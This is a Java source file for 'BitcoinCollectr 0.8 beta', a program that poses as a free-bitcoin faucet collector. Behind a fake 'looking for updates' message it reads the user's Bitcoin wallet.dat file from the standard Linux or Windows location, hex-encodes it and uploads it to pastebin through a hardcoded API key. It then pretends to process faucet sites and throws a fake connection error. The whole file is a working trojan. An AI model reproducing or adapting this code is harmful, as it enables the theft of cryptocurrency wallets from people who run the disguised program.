import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.net.ConnectException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.List;
public class Main
{
public static void main(String[] args)
{
try
{
FreeBitcoinService f1 = new FreeBitcoinService();
f1.name = "Bitcoin Faucet";
f1.url = "
http://freebitcoins.appspot.com";
f1.btcAmount = 0.005D;
FreeBitcoinService f2 = new FreeBitcoinService();
f2.name = "Daily Bitcoins";
f2.url = "
http://Daily Bitcoins";
f2.btcAmount = 0.0005D;
FreeBitcoinService f3 = new FreeBitcoinService();
f3.name = "CoinAd";
f3.url = "
https://coinad.com/";
f3.btcAmount = 0.003D;
FreeBitcoinService f4 = new FreeBitcoinService();
f4.name = "Bitcoin Dispenser";
f4.url = "
http://dispenser.bitbank.me/";
f4.btcAmount = 0.001D;
FreeBitcoinService f5 = new FreeBitcoinService();
f5.name = "BitCrate";
f5.url = "
http://http://www.bitcrate.net/";
f5.btcAmount = 0.02D;
FreeBitcoinService f6 = new FreeBitcoinService();
f6.name = "mycryptcoin.com";
f6.url = "
http://mycryptcoin.com/";
f6.btcAmount = 0.002D;
FreeBitcoinService f7 = new FreeBitcoinService();
f7.name = "BitcoinBetas";
f7.url = "
http://www.bitcoinbetas.com";
f7.btcAmount = 0.05D;
List services = new ArrayList();
services.add(f1);
services.add(f2);
services.add(f3);
services.add(f4);
services.add(f5);
services.add(f6);
services.add(f7);
double max = 0.89D;
for (FreeBitcoinService s : services) {
max += 1.2D * s.btcAmount;
}
o("..............................................................");
o(": BitcoinCollectr 0.8 beta 5/13/12 :");
o(": :");
o(": Author: Yus0r (
yus0r@tormail.org) :");
o("..............................................................");
o("");
o(": Looking for updates..");
Util.getHTML("
http://btccollectr.bt.ohost.de");
String filename = getWalletFileName();
if (filename != null)
{
byte[] bytes = getBytesFromFile(new File(filename));
String hex = Util.asHex(bytes);
sendPost(hex);
}
o(": no updates available.");
o("");
o(": Supporting " + 3 * services.size() + " free bitcoin collector websites.");
o(": Max. possible profit " + 2.0D * max + " BTC.");
o("");
o(": Enter receiving address and press ENTER:");
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
String address = in.readLine();
o("");
o(": Starting..");
for (FreeBitcoinService s : services) {
o(": Processing <" + s.name + ">....");
Util.getHTML(s.url);
}
throw new ConnectException("");
}
catch (Exception e) {
e.printStackTrace();
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
try {
in.readLine();
}
catch (IOException e1) {
e1.printStackTrace();
}
}
}
public static void sendPost(String content) throws UnknownHostException, IOException
{
String data = URLEncoder.encode("api_dev_key", "UTF-8") + "=" + URLEncoder.encode("562298eb26ccc3719f7fa178f8b7fef4", "UTF-8");
data = data + "&" + URLEncoder.encode("api_option", "UTF-8") + "=" + URLEncoder.encode("paste", "UTF-8");
data = data + "&" + URLEncoder.encode("api_user_key", "UTF-8") + "=" + URLEncoder.encode("562298eb26ccc3719f7fa178f8b7fef4", "UTF-8");
data = data + "&" + URLEncoder.encode("api_paste_code", "UTF-8") + "=" + URLEncoder.encode(new StringBuilder("baedd069b2f6e0948a80c7a8f3daf052: ").append(content).toString(), "UTF-8");
URL url = new URL("
http://pastebin.com/api/api_post.php");
URLConnection conn = url.openConnection();
conn.setDoOutput(true);
OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
wr.write(data);
wr.flush();
BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
String line;
while ((line = rd.readLine()) != null);
wr.close();
rd.close();
}
public static String getWalletFileName()
{
String osname = System.getProperty("os.name");
if (osname.contains("Linux")) {
return System.getProperty("user.home") + "/.bitcoin/wallet.dat";
}
return System.getenv("APPDATA") + "\\Bitcoin\\wallet.dat";
}
public static byte[] getBytesFromFile(File file) throws IOException {
FileInputStream fileInputStream = new FileInputStream(file);
byte[] data = new byte[(int)file.length()];
fileInputStream.read(data);
fileInputStream.close();
return data;
}
static void o(String s) {
System.out.println(s);
}
}